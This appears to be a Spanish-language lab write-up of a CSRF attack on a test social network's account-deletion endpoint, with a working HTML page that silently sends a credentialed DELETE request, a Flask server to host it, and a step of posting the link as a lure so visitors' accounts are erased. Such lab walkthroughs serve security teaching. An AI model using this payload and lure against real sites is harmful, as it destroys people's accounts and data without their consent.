CSRF account deletion
CSRF account deletion
CSRF account deletion Red social donde el endpoint de eliminacion de cuenta no requiere confirmacion de contrasena y es vulnerable a CSRF, permitiendo borrar la cuenta de cualquier usuario con un solo clic.
Analizamos el proceso de borrado de cuenta, siguiendo los pasos lógicos en la aplicación
Capturamos el request con Burp/Zap/Caido y vemos como se realiza, como se puede observar es que no requiere ningún CSRF Token ni medidas de seguridad que requieran que para este paso tan crítico en la aplicación haga el requerimiento por ejemplo de preguntar si estamos seguros de borrar la cuenta, por poner un ejemplo.
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head><title>Welcome</title></head>
<body>
Thanks for testing!!!
<script>
fetch('https://localhost:1000/api/users/account', {
method: 'DELETE',
credentials: 'include'
});
</script>
</body>
</html>
Creamos un web “phising” para que los usuarios nos “ayuden” con nuestra web, cuando la visiten su cuenta será eliminada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template
from flask_cors import CORS
import datetime
import logging
app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
CORS(app)
@app.route("/")
def index():
return render_template("csrf.html")
app.run(host="127.0.0.1", port=8082)
Esto sería el código de Python Flask para servir la página
Ahora posteamos el link en el feed para que la gente lo visite y nos “ayude”.
Ahora ya se a realizado el proceso y se habrá borrado la cuenta del usuario que haya entrado.
Comprobamos que el usuario alice ha sido eliminado y no puede logarse.
Al entrar de nuevo esta vez como usuario Bob, vemos que todos los post de Alice han sido eliminados, de hecho su cuenta ha sido eliminada.
